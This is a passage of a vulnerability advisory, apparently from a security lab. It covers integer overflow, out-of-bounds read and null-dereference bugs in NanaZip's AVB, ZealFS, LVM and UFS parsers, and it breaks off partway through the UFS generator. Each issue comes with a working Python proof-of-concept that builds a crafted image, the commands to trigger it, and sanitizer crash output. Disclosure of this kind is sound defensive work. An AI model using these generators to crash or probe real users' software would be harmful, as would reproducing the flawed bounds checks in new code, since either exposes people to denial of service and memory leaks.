| Primary sink | AddNameToString (byte-by-byte, NUL-stopped) |
CByteBuffer::CopyFrom → memcpy (bulk copy, not NUL-stopped) |
Fixing one does not fix the other. The hashtree path has a stronger primitive because CopyFrom uses memcpy, which reads the full attacker-controlled length without stopping at NUL bytes.
The function CHandler::Open2 parses AVB descriptors from a vbmeta block. For hashtree descriptors (AVB_DESCRIPTOR_TAG_HASHTREE), it reads attacker-controlled partition_name_len, salt_len, and root_digest_len fields (all UInt32, big-endian) and validates them with bounds checks that use 32-bit unsigned addition (lines 403–429):
if (desc.Tag == AVB_DESCRIPTOR_TAG_HASHTREE)
{
if (descSize < k_Hashtree_Size_Min) // descSize >= 164
return S_FALSE;
AvbHashtreeDescriptor ht;
ht.Parse(buf + offset);
unsigned pos = k_Hashtree_Size_Min; // pos = 164
if (pos + ht.partition_name_len > descSize) // ← 32-bit add can wrap
return S_FALSE;
Name.Empty();
AddNameToString(Name, buf + offset + pos, ht.partition_name_len, false);
pos += ht.partition_name_len;
if (pos + ht.salt_len > descSize) // ← 32-bit add can wrap
return S_FALSE;
CByteBuffer salt;
salt.CopyFrom(buf + offset + pos, ht.salt_len); // ← memcpy with attacker-controlled length
pos += ht.salt_len;
if (pos + ht.root_digest_len > descSize) // ← 32-bit add can wrap
return S_FALSE;
CByteBuffer digest;
digest.CopyFrom(buf + offset + pos, ht.root_digest_len);
pos += ht.root_digest_len;
}
pos is declared unsigned (32-bit on MSVC x64), and each length field is UInt32. The expression pos + len performs 32-bit unsigned addition that wraps modulo 2³² before being compared to the (small) descSize.
Exploit chain (salt_len — strongest primitive)
- Attacker crafts an AVB image with a valid
AVBffooter andAVB0vbmeta header.Footer.vbmeta_sizeis capped toVBMETA_MAX_SIZE = 64 KiB, sobufis at most a 64 KiB heap allocation. - Single hashtree descriptor with
desc.Size = 164(the minimum passing line 405).descSize == 164. partition_name_len = 0. After the partition name step,pos == 164.salt_len = 0xFFFFFF5C. The check on line 417 evaluates:pos + salt_len = 164 + 0xFFFFFF5C = 0x100000000- This wraps to
0in 32-bit unsigned arithmetic 0 > 164→ false → check bypassed
- Line 420:
salt.CopyFrom(buf + offset + 164, 0xFFFFFF5C)callsmemcpywith length0xFFFFFF5C(~4 GiB) starting at the end of the vbmeta buffer.
The CopyFrom sink
CByteBuffer::CopyFrom allocates a destination buffer and performs an unconditional memcpy:
void CopyFrom(const T *data, size_t size)
{
Alloc(size);
if (size != 0)
memcpy(_items, data, size * sizeof(T));
}
With size = 0xFFFFFF5C (~4 GiB), Alloc attempts a ~4 GiB heap allocation (which may succeed on 64-bit Windows under overcommit), then memcpy reads ~4 GiB starting from buf + offset + 164 — where the source allocation is at most 64 KiB. The read walks billions of bytes past the heap allocation, deterministically hitting unmapped memory and crashing.
This is a stronger primitive than the NUL-stopped AddNameToString in GHSL-2026-126, because memcpy reads the full attacker-controlled length without early termination.
Independent secondary primitive (partition_name_len)
The same overflow pattern exists on line 411 for partition_name_len. Setting partition_name_len = 0xFFFFFF5C causes 164 + 0xFFFFFF5C to wrap to 0, bypassing the check, and AddNameToString reads from buf + offset + 164 with length 0xFFFFFF5C (NUL-stopped).
Tertiary (root_digest_len)
After pos += ht.salt_len, pos wraps to 164 + 0xFFFFFF5C = 0. The line 423 check 0 + ht.root_digest_len > descSize allows root_digest_len ≤ 164, and digest.CopyFrom(buf + offset + 0, ...) reads from the start of the descriptor — generally within bounds, but pos is desynchronized for any subsequent iteration.
Impact
- The AVB handler is registered with
REGISTER_ARC_I_NO_SIGfor.avband.imgfile extensions withNArcInfoFlags::kBackwardOpen. - NanaZip’s MSIX manifest declares wildcard file association, enabling format autodetection.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - No AVB signature or hash verification is performed before the OOB read.
- Denial of Service: Deterministic crash. The
memcpyreads ~4 GiB past a ≤64 KiB buffer, guaranteed to hit unmapped memory. - Limited information disclosure: If the
memcpydoes not crash, up to ~4 GiB of adjacent heap contents are copied into thesaltbuffer. Whilesaltgoes out of scope immediately and is never surfaced through the COM interface, the act of reading materializes adjacent heap memory. - No write primitive.
CWE-190 (Integer Overflow) / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)
Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the AVB handler.
Why 7-Zip is not affected
AvbHandler.cpp is upstream 7-Zip code (identical to 7-Zip 26.00) but 7-Zip deliberately excludes this handler from the shipping 7z.dll build:
- In
Arc_gcc.mak,AvbHandler.ois commented out. - In the MSVC
Arc.mak,AvbHandleris absent fromAR_OBJS.
NanaZip enables it by including AvbHandler.cpp in NanaZip.Core.vcxproj.
CWEs
- CWE-190: “Integer Overflow or Wraparound”
- CWE-125: “Out-of-bounds Read”
Resources
PoC generator:
A crafted vbmeta image with salt_len = 0xFFFFFF5C triggers the vulnerability:
#!/usr/bin/env python3
"""Generate a crafted AVB vbmeta image that triggers heap OOB read
via 32-bit unsigned overflow in hashtree descriptor salt_len check."""
import struct
VBMETA_HEADER_SIZE = 256
FOOTER_SIZE = 64
K_DESCRIPTOR_SIZE = 16
K_HASHTREE_SIZE_MIN = 164
desc_size = K_HASHTREE_SIZE_MIN # 164 — minimum passing the descSize check
# Build vbmeta: header(256) + descriptor_header(16) + hashtree_body(164)
vbmeta_body_size = K_DESCRIPTOR_SIZE + desc_size # 180
vbmeta = bytearray(VBMETA_HEADER_SIZE + vbmeta_body_size)
# AVB0 header
vbmeta[0:4] = b'AVB0'
struct.pack_into('>I', vbmeta, 4, 1) # required_libavb_version_major = 1
struct.pack_into('>Q', vbmeta, 12, 0) # authentication_data_block_size = 0
struct.pack_into('>Q', vbmeta, 20, 0) # auxiliary_data_block_size = 0
struct.pack_into('>Q', vbmeta, 96, 0) # descriptors_offset = 0
struct.pack_into('>Q', vbmeta, 104, vbmeta_body_size) # descriptors_size = 180
# Descriptor header at offset 256
desc_off = VBMETA_HEADER_SIZE
struct.pack_into('>Q', vbmeta, desc_off + 0, 1) # Tag = HASHTREE (1)
struct.pack_into('>Q', vbmeta, desc_off + 8, desc_size) # Size = 164
# Hashtree descriptor body at desc_off + 16
ht_off = desc_off + K_DESCRIPTOR_SIZE
# partition_name_len = 0 (offset 88 in hashtree body) — skip partition name
struct.pack_into('>I', vbmeta, ht_off + 88, 0)
# salt_len = 0xFFFFFF5C (offset 92) — triggers overflow: 164 + 0xFFFFFF5C = 0 mod 2^32
struct.pack_into('>I', vbmeta, ht_off + 92, 0xFFFFFF5C)
# root_digest_len = 0 (offset 96)
struct.pack_into('>I', vbmeta, ht_off + 96, 0)
# Fill with non-zero bytes so memcpy reads non-NUL data past the allocation
vbmeta.extend(b'A' * 512)
vbmeta_size = len(vbmeta)
# Build footer (last 64 bytes of the image)
footer = bytearray(FOOTER_SIZE)
footer[0:4] = b'AVBf'
struct.pack_into('>I', footer, 4, 1) # version_major = 1
struct.pack_into('>Q', footer, 12, vbmeta_size + FOOTER_SIZE) # original_image_size
struct.pack_into('>Q', footer, 20, 0) # vbmeta_offset = 0
struct.pack_into('>Q', footer, 28, vbmeta_size) # vbmeta_size
img = vbmeta + footer
with open('poc_avb_hashtree.img', 'wb') as f:
f.write(img)
print(f'Written {len(img)}-byte image')
print(f' vbmeta_size: {vbmeta_size}')
print(f' Hashtree descriptor: salt_len=0xFFFFFF5C')
print(f' 32-bit overflow: pos(164) + salt_len(0xFFFFFF5C) = 0x100000000 → wraps to 0')
Triggering:
NanaZip.Universal.Console.exe l poc_avb_hashtree.img
Verification
When NanaZip is compiled with AddressSanitizer (ReleaseAsan configuration):
=================================================================
==35524==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1284347a1334
at pc 0x7ffcefdc64b7 bp 0x00e1a47ec210 sp 0x00e1a47eb9a0
READ of size 4294967132 at 0x1284347a1334 thread T0
#0 _asan_memcpy+0x1c6
(clang_rt.asan_dynamic-x86_64.dll)
#1 NArchive::NAvb::CHandler::Open2
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:420
#2 NArchive::NAvb::CHandler::Open
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:472
#3 CArc::OpenStream2 OpenArchive.cpp:1978
#4 CArc::OpenStream OpenArchive.cpp:3027
#5 CArc::OpenStreamOrFile OpenArchive.cpp:3122
#6 CArchiveLink::Open OpenArchive.cpp:3298
#7 CArchiveLink::Open2 OpenArchive.cpp:3422
#8 CArchiveLink::Open3 OpenArchive.cpp:3490
#9 ListArchives List.cpp:1191
#10 Main2 Main.cpp:1568
#11 main MainAr.cpp:170
0x1284347a1334 is located 0 bytes after 948-byte region
[0x1284347a0f80,0x1284347a1334)
allocated by thread T0 here:
#0 operator new[] asan_win_new_array_thunk.cpp:41
#1 CBuffer<unsigned char>::Alloc MyBuffer.h:69
#2 NArchive::NAvb::CHandler::Open2 AvbHandler.cpp:368
SUMMARY: AddressSanitizer: heap-buffer-overflow
NanaZip.Core\SevenZip\CPP\7zip\Archive\AvbHandler.cpp:420
in NArchive::NAvb::CHandler::Open2
The READ of size 4294967132 (= 0xFFFFFF5C) confirms the full salt_len value was passed to memcpy. The read starts at exactly 0 bytes after the 948-byte vbmeta buffer allocation.
issue 5: Stack out-of-bounds read in NanaZip ZealFS bitmap parser (GHSL-2026-128)
A stack-based out-of-bounds read exists in the ZealFS filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted ZealFS v1 filesystem image. An attacker-controlled BitmapSize field in the file header drives an unbounded loop that reads past the end of a stack-allocated ZEALFS_V1_HEADER structure.
The function Zealfs::Open reads a ZEALFS_V1_HEADER structure from the beginning of the image file and then iterates over the PagesBitmap array to count free pages. The iteration bound is Header.BitmapSize — a single-byte field read directly from the untrusted file. The only validation is a check that BitmapSize is non-zero:
// NanaZip.Codecs.Archive.Zealfs.cpp — Zealfs::Open()
// Line 261: Header is a stack-allocated 64-byte struct
ZEALFS_V1_HEADER Header = {};
if (FAILED(this->ReadFileStream(
0,
&Header,
sizeof(ZEALFS_V1_HEADER))))
{
break;
}
// ... magic and version checks ...
// Line 280: Only checks for zero — no upper-bound check
if (!Header.BitmapSize)
{
break;
}
// Line 285-296: Loop uses attacker-controlled BitmapSize as bound
this->m_PhysicalSize = ZEALFS_V1_PAGE_SIZE * Header.BitmapSize * 8;
this->m_FreeSpace = 0;
for (std::uint8_t i = 0; i < Header.BitmapSize; ++i)
{
this->m_FreeSpace += !(0x01 & Header.PagesBitmap[i]); // OOB read
this->m_FreeSpace += !(0x02 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x04 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x08 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x10 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x20 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x40 & Header.PagesBitmap[i]);
this->m_FreeSpace += !(0x80 & Header.PagesBitmap[i]);
}
Source: NanaZip.Codecs.Archive.Zealfs.cpp:261-296
Missing check: Header.BitmapSize is a uint8_t (range 1–255 after the zero-check), but PagesBitmap is declared with only ZEALFS_V1_BITMAP_SIZE = 32 elements. Any BitmapSize value in the range 33–255 causes the loop to read past the end of the PagesBitmap array.
Struct layout
The ZEALFS_V1_HEADER structure definition:
// NanaZip.Codecs.Specification.Zealfs.h
#define ZEALFS_V1_MAXIMUM_PAGE_COUNT 256
#define ZEALFS_V1_BITMAP_SIZE (ZEALFS_V1_MAXIMUM_PAGE_COUNT / 8) // == 32
#define ZEALFS_V1_RESERVED_SIZE 28
typedef struct _ZEALFS_V1_HEADER
{
ZEALFS_COMMON_HEADER Common; // +0: 2 bytes (Magic, Version)
MO_UINT8 BitmapSize; // +2: 1 byte
MO_UINT8 FreePages; // +3: 1 byte
MO_UINT8 PagesBitmap[ZEALFS_V1_BITMAP_SIZE]; // +4: 32 bytes (indices 0..31)
MO_UINT8 Reserved[ZEALFS_V1_RESERVED_SIZE]; // +36: 28 bytes
} ZEALFS_V1_HEADER; // Total: 64 bytes
Out-of-bounds access progression
When BitmapSize > 32, the expression Header.PagesBitmap[i] accesses memory past the PagesBitmap array:
i range |
Accessed region | Offset within struct |
|---|---|---|
| 0–31 | PagesBitmap[0..31] (valid) |
+4 to +35 |
| 32–59 | Reserved[0..27] (wrong field, but within struct) |
+36 to +63 |
| 60–254 | Past end of ZEALFS_V1_HEADER (stack OOB) |
+64 to +258 |
A crafted image with BitmapSize = 255 reads up to 195 bytes past the end of the stack-allocated Header, disclosing adjacent stack frame contents (return addresses, saved registers, other local variables) into the m_FreeSpace computation.
Impact
A crafted ZealFS v1 image can cause NanaZip to read beyond its bitmap array when BitmapSize > 32. Values of BitmapSize >= 61 extend the read beyond the enclosing stack-allocated header, reaching up to 195 bytes past its end at BitmapSize = 255. These bytes contribute to an aggregate free-space count rather than being disclosed verbatim.
- The ZealFS handler is registered for the
zealfsfile extension withSevenZipHandlerFlagFindSignatureand a 1-byte signature"Z"(0x5A). - Format recognition requires only
Magic == 'Z'andVersion == 1at file offset 0 — the attacker controls all remaining file content. - The vulnerable bitmap loop runs at archive open time, before any user interaction beyond opening the file.
- Denial of Service: ASan-instrumented builds crash immediately. Non-instrumented builds may crash if the overread crosses a stack guard page.
- Limited stack information disclosure: Out-of-bounds stack data influences the reported free-space value, potentially exposing limited information about adjacent stack contents.
Mitigations: NanaZip enables CFG, CET shadow stack, and /GS stack cookies. Stack cookies can detect certain stack overwrites, but do not prevent out-of-bounds reads.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L — 5.4 (Medium)
Affected versions: Since 5.0.1252.0 (2025-02-02), the first release shipping the ZealFS handler.
CWEs
- CWE-125: “Out-of-bounds Read”
Resources
PoC generator:
A minimal 2048-byte ZealFS v1 image triggers the vulnerability:
#!/usr/bin/env python3
"""Generate a crafted ZealFS v1 image that triggers the stack OOB read."""
import struct
PAGE = 256
BITMAP_BYTES = 32
HEADER_SIZE = 64
def main():
# Minimum valid partition: 8 pages = 2048 bytes
partition_pages = 8
data = bytearray(partition_pages * PAGE)
# ZealFS v1 header
data[0] = ord('Z') # Magic
data[1] = 1 # Version
data[2] = 61 # BitmapSize = 61 → PagesBitmap[60] is 1 byte past struct
data[3] = 0 # FreePages (irrelevant)
# Set page 0 as allocated in bitmap
data[4] = 0x01
with open('poc.zealfs', 'wb') as f:
f.write(data)
print("Written poc.zealfs ({} bytes)".format(len(data)))
print("BitmapSize=61 causes loop to read PagesBitmap[32..60],")
print("which spans Reserved[0..27] then 1 byte past the struct.")
if __name__ == '__main__':
main()
Triggering:
NanaZip.Universal.Console.exe l poc.zealfs
Verification
When NanaZip is compiled with AddressSanitizer (/fsanitize=address):
=================================================================
==1616==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00a824eff210 at pc 0x01b802ea198f bp 0x00a824eff180 sp 0x00a824eff180
READ of size 1 at 0x00a824eff210 thread T0
#0 0x01b802ea198e in NanaZip::Codecs::Archive::Zealfs::Open NanaZip.Codecs\NanaZip.Codecs.Archive.Zealfs.cpp:289
#1 0x7ff7465e2e2e in NanaZip::Fuzz::RunFuzzCase Fuzzing\NanaZip.Codecs.Fuzz.h:268
#2 0x7ff7465e36f5 in LLVMFuzzerTestOneInput Fuzzing\Fuzz.Zealfs.cpp:6
#3 0x7ff74661bdc6 in fuzzer::Fuzzer::ExecuteCallback [...]\FuzzerLoop.cpp:636
#4 0x7ff74661e560 in fuzzer::Fuzzer::RunOne [...]\FuzzerLoop.cpp:533
#5 0x7ff74661ccdd in fuzzer::Fuzzer::MutateAndTestOne [...]\FuzzerLoop.cpp:782
#6 0x7ff74661c712 in fuzzer::Fuzzer::Loop [...]\FuzzerLoop.cpp:927
#7 0x7ff746609510 in fuzzer::FuzzerDriver [...]\FuzzerDriver.cpp:929
Address 0x00a824eff210 is located in stack of thread T0 at offset 96 in frame
#0 0x01b802ea166f in NanaZip::Codecs::Archive::Zealfs::Open ...Zealfs.cpp:229
This frame has 9 object(s):
[32, 96) 'Header'
[96, 104) 'TotalBytes' <== Memory access at offset 96 is inside this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow
NanaZip.Codecs\NanaZip.Codecs.Archive.Zealfs.cpp:289
in NanaZip::Codecs::Archive::Zealfs::Open
The crash occurs at line 289 when i exceeds 59 and the read reaches past the 64-byte stack-allocated Header struct.
issue 6: Heap buffer-overflow read in NanaZip LVM metadata CRC check (GHSL-2026-129)
A heap buffer-overflow read exists in the LVM2 physical-volume metadata parser in NanaZip (via the upstream 7-Zip LvmHandler). The vulnerability is triggered when opening a crafted LVM disk image. When the metadata area size field is between 1 and 511 bytes, the handler allocates a buffer of that size but unconditionally reads 508 bytes from it for a CRC-32 check, reading up to 507 bytes past the end of the allocation.
The function CHandler::Open2 in LvmHandler.cpp reads a metadata disk_locn from the PV header. The size field is a 64-bit value read from the crafted image. After allocating a buffer of exactly size bytes and reading that many bytes from the stream, the handler computes a CRC-32 over a hardcoded length of kSectorSize - 4 (= 508) bytes:
// LvmHandler.cpp — CHandler::Open2()
CByteBuffer meta;
const size_t sizeT = (size_t)size;
if (sizeT != size)
return S_FALSE;
meta.Alloc(sizeT); // allocates sizeT bytes
RINOK(InStream_SeekSet(stream, offset))
RINOK(ReadStream_FALSE(stream, meta, sizeT)) // fills sizeT bytes
// CRC check reads a FIXED 508 bytes regardless of sizeT:
if (Get32(meta) != LvmCrcCalc(meta + 4, kSectorSize - 4)) // ← reads meta[4..511]
return S_FALSE;
Source: NanaZip.Core/SevenZip/CPP/7zip/Archive/LvmHandler.cpp, lines 754–761
When 1 ≤ sizeT < 512, the meta buffer holds sizeT bytes, but LvmCrcCalc(meta + 4, 508) reads bytes meta[4] through meta[511] — up to 511 - sizeT bytes past the heap allocation boundary.
Similarly, Get32(meta) reads 4 bytes from the start of the buffer, which overflows when sizeT < 4.
Overflow size range
sizeT |
Bytes allocated | Bytes read by CRC | OOB read size |
|---|---|---|---|
| 1 | 1 | 512 | 511 |
| 4 | 4 | 512 | 508 |
| 100 | 100 | 512 | 412 |
| 511 | 511 | 512 | 1 |
| 512 | 512 | 512 | 0 (safe) |
The maximum out-of-bounds read is 511 bytes when sizeT = 1.
Root cause
The CRC computation uses kSectorSize - 4 (508) as a hardcoded length, matching the on-disk LVM metadata header format where the CRC covers the remainder of the first sector. However, the code assumes the buffer is at least 512 bytes — this assumption is never enforced. The size field is attacker-controlled and can be set to any value.
Path constraints
The metadata disk_locn must survive these checks before reaching the vulnerable CRC call:
offset != 0 || size != 0— the disk_locn must not be the all-zeros terminator(size_t)size == size— the 64-bit value must fit insize_t(always true on 64-bit)
There is no minimum-size validation.
Impact
- The LVM handler is registered for the
.lvmfile extension with format ID0xBFand signatureLABELONEat sector offset 512. - NanaZip’s MSIX manifest declares wildcard file association (
<uap10:FileType>*</uap10:FileType>), enabling format autodetection on any file opened via NanaZip. - The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - All PV label fields (magic, CRC, structural constants) must be correct for the handler to reach the vulnerable code path. The CRC is a standard CRC-32/IEEE with a custom initial value (
0xf597a6cf), which an attacker constructing the image can trivially compute. - Information disclosure: The out-of-bounds read accesses heap memory adjacent to the
metabuffer. While the read data is only used for a CRC comparison (not directly returned to the attacker), the CRC match/mismatch result is observable as a side channel (archive opens vs. fails to open). This may leak partial information about heap contents. - Denial of Service: In production, the out-of-bounds read typically lands in adjacent heap padding and is silent, but may cause an ACCESS_VIOLATION crash if the allocation is near a page boundary.
- Potential for worse under heap grooming: If the adjacent heap memory contains sensitive data (keys, tokens, user content), the CRC oracle could theoretically be used to probe it, though this would require repeated interaction and precise heap layout control.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 3.0.1000.0 (2024-05-27), the first release shipping the LVM handler.
Relationship to null-deref finding
This vulnerability shares the same root cause location as a separate null-pointer dereference from unchecked large allocation. Both stem from the lack of bounds validation on the metadata disk_locn.size field:
| Condition | Bug class | Impact |
|---|---|---|
size > available_memory |
Null-deref | DoS (crash) |
1 ≤ size < 512 |
Heap OOB read (this report) | Info leak / DoS |
size ≥ 512 |
Safe | Normal operation |
Why 7-Zip is not affected
LvmHandler.cpp is upstream 7-Zip code (identical to the copy in 7-Zip 26.00) — the vulnerability exists in Igor Pavlov’s source tree. However, 7-Zip deliberately excludes this handler from the shipping 7z.dll build:
- In
CPP/7zip/Bundles/Format7zF/Arc_gcc.mak,LvmHandler.ois commented out. - In the MSVC
Arc.mak,LvmHandleris absent from theAR_OBJSlist.
NanaZip enables the handler by including LvmHandler.cpp in NanaZip.Core.vcxproj. The REGISTER_ARC_I macro auto-activates it on compilation.
CWEs
- CWE-125: “Out-of-bounds Read”
Resources
PoC generator:
A crafted 2048-byte LVM image triggers the vulnerability. The image contains:
- Sector 0 (bytes 0–511): all zeros
- Sector 1 (bytes 512–1023): valid PV label with
LABELONE+LVM2 001, correct CRC-32, and metadatadisk_locn = {offset=1024, size=8} - Sector 2 (bytes 1024–1031): 8 bytes of metadata (the handler will read 512 bytes from this 8-byte buffer)
Image generator
#!/usr/bin/env python3
"""Generate a crafted LVM image that triggers heap OOB read in LvmHandler."""
import struct
SECTOR = 512
CRC_INIT = 0xf597a6cf
META_SIZE = 8 # Small enough to trigger OOB (< 512)
def crc32_lvm(data: bytes) -> int:
"""CRC-32/IEEE with custom init value, no final XOR."""
table = []
for i in range(256):
c = i
for _ in range(8):
c = (c >> 1) ^ (0xEDB88320 if c & 1 else 0)
table.append(c)
crc = CRC_INIT
for b in data:
crc = (crc >> 8) ^ table[(crc ^ b) & 0xFF]
return crc & 0xFFFFFFFF
IMAGE_SIZE = SECTOR * 2 + META_SIZE
img = bytearray(IMAGE_SIZE)
label = memoryview(img)[SECTOR:]
# label_header
label[0:8] = b'LABELONE'
struct.pack_into('<Q', label, 8, 1) # sector_xl = 1
struct.pack_into('<I', label, 20, 32) # offsetToCont = 32
label[24:32] = b'LVM2 001'
# pv_header (starts at +32)
# +32..+63: pv_id (zeros)
struct.pack_into('<Q', label, 64, IMAGE_SIZE) # device_size_xl
# data disk_locn[0] = {0, 0} → terminator
struct.pack_into('<Q', label, 72, 0)
struct.pack_into('<Q', label, 80, 0)
# metadata disk_locn[0] = {offset=1024, size=META_SIZE}
struct.pack_into('<Q', label, 88, SECTOR * 2) # meta offset
struct.pack_into('<Q', label, 96, META_SIZE) # meta size (too small!)
# Recompute label CRC over bytes [+20 .. +511]
crc = crc32_lvm(bytes(label[20:SECTOR]))
struct.pack_into('<I', label, 16, crc)
# Write minimal metadata area (8 bytes of zeros)
# The handler will Alloc(8) then LvmCrcCalc(meta+4, 508) — reading 504 bytes OOB
with open('lvm_oob_read.lvm', 'wb') as f:
f.write(img)
print(f'Written {IMAGE_SIZE}-byte image')
print(f' Label CRC: 0x{crc:08X}')
print(f' Metadata buffer: {META_SIZE} bytes')
print(f' CRC will read: 512 bytes → {512 - META_SIZE} bytes OOB')
Triggering:
Enable full-page-heap verification for the executable, then run the PoC and check the exit code:
:: Enable Page Heap (requires Administrator)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /v GlobalFlag /t REG_DWORD /d 0x02000000 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /v PageHeapFlags /t REG_DWORD /d 0x3 /f
:: Run the PoC and check exit code (0xC0000005 = ACCESS_VIOLATION = OOB confirmed)
NanaZip.Universal.Console.exe l lvm_oob_read.lvm
echo Exit code: %ERRORLEVEL%
:: Clean up
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NanaZip.Universal.Console.exe" /f
The process crashes with 0xC0000005 (ACCESS_VIOLATION). Page Heap places a guard page immediately after each allocation, so the 504-byte overread from the 8-byte meta buffer hits the guard page and faults.
Without Page Heap, the OOB read silently accesses adjacent heap padding and the process exits normally (exit code 1 or 2) with no visible crash. The echo Exit code: %ERRORLEVEL% line distinguishes the two cases: -1073741819 (= 0xC0000005) confirms the OOB, while 1 or 2 means Page Heap is not active.
issue 7: Null-pointer dereference in NanaZip UFS parser when root inode is a symlink (GHSL-2026-130)
A null-pointer dereference exists in the UFS/UFS2 filesystem image parser in NanaZip. The vulnerability is triggered when opening a crafted UFS image where the root inode (inode 2) is set to IFLNK (symlink) instead of IFDIR (directory). The parser unconditionally treats the root inode as a directory without checking its type, and when the symlink has an embedded target (small di_size), the directory data buffer is zero-length, causing a null-pointer dereference on the first read.
The function Open in NanaZip.Codecs.Archive.Ufs.cpp calls GetAllPaths(UFS_ROOTINO, "") at line 794 without verifying that inode 2 has IFDIR mode. The function GetAllPaths in turn calls GetInodeInformation to read the inode metadata.
When the root inode’s di_mode is IFLNK (symlink, 0xA000) and its di_size is less than or equal to fs_maxsymlinklen (typically 60 bytes), GetInodeInformation takes the embedded-symlink fast path at line 376–392: it populates EmbeddedSymbolLink and returns true without adding any entries to BlockOffsets.
Back in GetAllPaths, the empty BlockOffsets produces:
BlockOffsetsCount = 0ActualSize = 0 * BlockSize = 0Bufferis allocated with size 0 (empty vector,data()returns null)EndOffset = Information.FileSize(e.g., 11 — the symlink target length)
The directory-entry parsing loop then enters because 0 < 11:
// NanaZip.Codecs.Archive.Ufs.cpp — GetAllPaths()
// Line 590: Buffer is zero-length when BlockOffsets is empty
std::vector<std::uint8_t> Buffer(ActualSize); // ActualSize == 0
// Line 608-609: EndOffset is the inode's FileSize (e.g. 11)
std::size_t EndOffset = static_cast<std::size_t>(Information.FileSize);
// Line 610: Loop enters because 0 < 11
for (size_t CurrentOffset = 0; CurrentOffset < EndOffset;)
{
// Line 620: Dereferences null — Buffer.data() is null
direct* Current = reinterpret_cast<direct*>(&Buffer[CurrentOffset]);
// Line 621: Reads 4 bytes starting at address 0x0
std::uint32_t Inode = this->ReadUInt32(&Current->d_ino); // CRASH
Source: NanaZip.Codecs/NanaZip.Codecs.Archive.Ufs.cpp, lines 556–658
Root cause
Two missing checks compound to produce the crash:
-
No inode type check before directory parsing.
Open()at line 794 callsGetAllPaths(UFS_ROOTINO, "")without verifying(Information.Mode & IFMT) == IFDIR. On a real filesystem, inode 2 is always a directory, but a crafted image can set it to any type. -
No empty-buffer guard in
GetAllPaths. The function does not check thatActualSize > 0(or equivalently thatBlockOffsetsis non-empty) before entering the directory-entry parsing loop. TheEndOffset < CurrentOffset + MinimumDirectoryEntrySizecheck at line 612 would catch this ifEndOffsetwere also 0, but whenFileSize > 0andBlockOffsetsCount == 0, the loop enters with a null buffer.
Path through GetInodeInformation
The embedded-symlink early return is the key:
// NanaZip.Codecs.Archive.Ufs.cpp — GetInodeInformation()
// Line 376-392: For symlinks with small di_size, return early
if ((Information.Mode & IFMT) == IFLNK)
{
if (Information.FileSize <= this->GetMaximumEmbeddedSymbolLinkLength())
{
// ... populate EmbeddedSymbolLink from di_shortlink ...
Information.EmbeddedSymbolLink = EmbeddedSymbolLink;
return true; // ← Returns WITHOUT populating BlockOffsets
}
}
// Line 397+: Block offset population only happens AFTER this point
std::int32_t BlockSize = this->GetBlockSize();
// ...
for (std::size_t i = 0; i < UFS_NDADDR; ++i)
{
Information.BlockOffsets.emplace_back(...);
// ...
}
When this early return fires, Information.BlockOffsets remains empty (default-constructed), Information.FileSize retains the symlink target length (e.g. 11), and GetAllPaths proceeds to parse a zero-length buffer as if it contained directory entries.
Impact
- The UFS handler is registered for file extensions
ufs,ufs2, andimg. - The MSIX manifest declares a wildcard file association, enabling format autodetection.
- The vulnerability triggers during
IInArchive::Open(), before any user interaction beyond opening the file. - Denial of Service: The null-pointer dereference causes an immediate, deterministic crash.
- No code execution: The dereference address is always in the null page (
0x0–0x3), which is unmapped on all modern operating systems.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)
Affected versions: Since 5.0.1250.0 (2025-02-01), the first release shipping the UFS handler.
Relationship to other UFS findings
This vulnerability is distinct from:
- GHSL-2026-125: Heap OOB write in
GetAllPathsviad_name[NameLength]. - GHSL-2026-131: Integer divide-by-zero in
GetInodeOffsetwhenfs_ipg = 0.
All three are in the same UFS handler but have different root causes and trigger conditions.
CWEs
- CWE-476: “NULL Pointer Dereference”
Resources
PoC generator:
A crafted 20 KiB UFS1 filesystem image triggers the vulnerability.
#!/usr/bin/env python3
"""Generate a crafted UFS1 image that triggers null-deref in GetAllPaths."""
import struct
SBLOCK_UFS1 = 8192
FS_UFS1_MAGIC = 0x011954
BLOCK_SIZE = 4096
IFLNK = 0xA000
IMAGE_SIZE = 20 * 1024 # 20 KiB
def w16(buf, off, v): struct.pack_into('<H', buf, off, v)
def w32(buf, off, v): struct.pack_into('<i', buf, off, v)
def wu32(buf, off, v): struct.pack_into('<I', buf, off, v)
def w64(buf, off, v): struct.pack_into('<q', buf, off, v)
img = bytearray(IMAGE_SIZE)
sb = SBLOCK_UFS1
# Superblock
w32(img, sb+16, 4) # fs_iblkno = 4
w32(img, sb+40, 100) # fs_old_dsize
wu32(img, sb+44, 1) # fs_ncg = 1
w32(img, sb+48, BLOCK_SIZE) # fs_bsize = 4096
w32(img, sb+52, BLOCK_SIZE) # fs_fsize = 4096
w32(img, sb+56, 1) # fs_frag = 1
w32(img, sb+104, 8192) # fs_sbsize = 8192
wu32(img, sb+184, 16) # fs_ipg = 16
w32(img, sb+188, 100) # fs_fpg = 100
w64(img, sb+1000, SBLOCK_UFS1) # fs_sblockloc = 8192
w32(img, sb+1320, 60) # fs_maxsymlinklen = 60
w32(img, sb+1372, FS_UFS1_MAGIC)
